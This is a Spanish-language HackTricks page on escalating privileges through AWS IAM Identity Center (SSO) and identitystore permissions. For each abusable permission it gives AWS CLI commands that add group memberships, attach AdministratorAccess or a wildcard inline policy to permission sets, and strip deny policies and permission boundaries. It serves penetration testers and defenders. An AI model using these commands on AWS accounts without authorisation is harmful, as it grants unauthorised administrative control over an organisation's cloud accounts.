AWS - SSO & identitystore Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
AWS Identity Center / AWS SSO
Para más información sobre AWS Identity Center / AWS SSO consulta:
AWS - IAM, Identity Center & SSO Enum
Warning
Ten en cuenta que por defecto, solo los usuarios con permisos del Management Account podrán acceder y controlar el IAM Identity Center.
Los usuarios de otras cuentas solo podrán hacerlo si la cuenta es un Delegated Adminstrator.
Check the docs for more info.
Reset Password
Una manera fácil de escalar privilegios en casos como este sería tener un permiso que permita resetear las contraseñas de los usuarios. Desafortunadamente solo es posible enviar un correo electrónico al usuario para que restablezca su contraseña, por lo que necesitarías acceso al correo electrónico del usuario.
identitystore:CreateGroupMembership
Con este permiso es posible añadir un usuario a un grupo para que herede todos los permisos que tenga el grupo.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que esté asignado a un usuario bajo su control
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Un atacante con este permiso podría conceder permisos adicionales a un Permission Set que está asignado a un usuario bajo su control
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que esté asignado a un usuario bajo su control.
Warning
Para abusar de estos permisos en este caso necesitas conocer el nombre de una customer managed policy que exista en TODOS los accounts que se verán afectados.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Un atacante con este permiso podría asignar un Permission Set a un usuario bajo su control para una cuenta.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Devuelve las credenciales temporales de STS para un role name dado asignado al usuario.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Sin embargo, necesitas un access token que no estoy seguro de cómo obtener (TODO).
sso:DetachManagedPolicyFromPermissionSet
Un atacante con este permiso puede eliminar la asociación entre una AWS managed policy y el permission set especificado. Es posible otorgar más privilegios mediante detaching a managed policy (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Un atacante con este permiso puede eliminar la asociación entre una política administrada por el cliente y el conjunto de permisos especificado. Es posible conceder más privilegios mediante desvincular una política administrada (política de denegación).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Un atacante con este permiso puede eliminar los permisos definidos en un inline policy del permission set. Es posible otorgar más privilegios al desvincular un inline policy (deny policy).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Un atacante con este permiso puede eliminar la Permission Boundary del Permission Set. Es posible otorgar más privilegios eliminando las restricciones en el Permission Set establecidas por la Permission Boundary.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

